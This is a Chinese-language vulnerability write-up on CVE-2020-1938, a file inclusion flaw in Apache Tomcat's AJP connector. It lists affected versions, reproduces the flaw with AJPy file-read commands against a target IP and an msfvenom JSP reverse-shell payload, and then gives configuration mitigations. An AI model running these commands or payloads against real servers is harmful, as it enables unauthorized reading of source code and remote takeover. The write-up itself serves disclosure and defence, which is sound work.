CVE-2020-1938-Apache Tomcat文件包含漏洞

漏洞概述

近期CNVD发布漏洞公告,Apache Tomcat服务器存在文件包含漏洞,根据漏洞Payload复现,攻击者可在未授权的情况下远程读取Tomcat上所有webapp目录下任意文件,如:webapp 配置文件或源代码等。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

影响范围

受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

不受影响版本

Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31

漏洞复现

http://archive.apache.org/dist/tomcat/ 下载一个受漏洞影响的版本
https://github.com/hypn0s/AJPy

读取ROOT/WEB-INF/web.xml

python .\tomcat.py read_file –webapp=ROOT/ /WEB-INF/web.xml 10.57.132.66

读取图片或ZIP包,会以十六进制流形式返回。

python .\tomcat.py read_file –webapp=ROOT/ /tomcat-power.gif 10.57.132.66

经测试,无法绕出webapps目录,也就是只能读取该目录下文件,漏洞并不能列出目录下文件,攻击者只能盲猜目录+文件名称等,但JAVA应用/xxxx/WEB-INF/web.xml是会存在的,只要使用脚本遍历xxxx,很快就能读取出网站目录通过任意文件读取,逐步获取网站源码。

利用MSF反弹shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 > shell.txt

将Payload放置在WEB目录,假定存在上传文件,并使用脚本包含上传的Payload.

发送后,将无视包含文件名后缀,只要文件内容有JSP代码则会直接执行,获取目标服务器权限.

缓解措施

具体操作:

一、若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。

1)编辑 /conf/server.xml,找到如下行( 为 Tomcat 的工作目录):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

2)将此行注释掉(也可删掉该行):

<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->

3)保存后需重新启动Tomcat,规则方可生效。

二、若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。

使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考链接

http://blog.nsfocus.net/cve-2020-1938/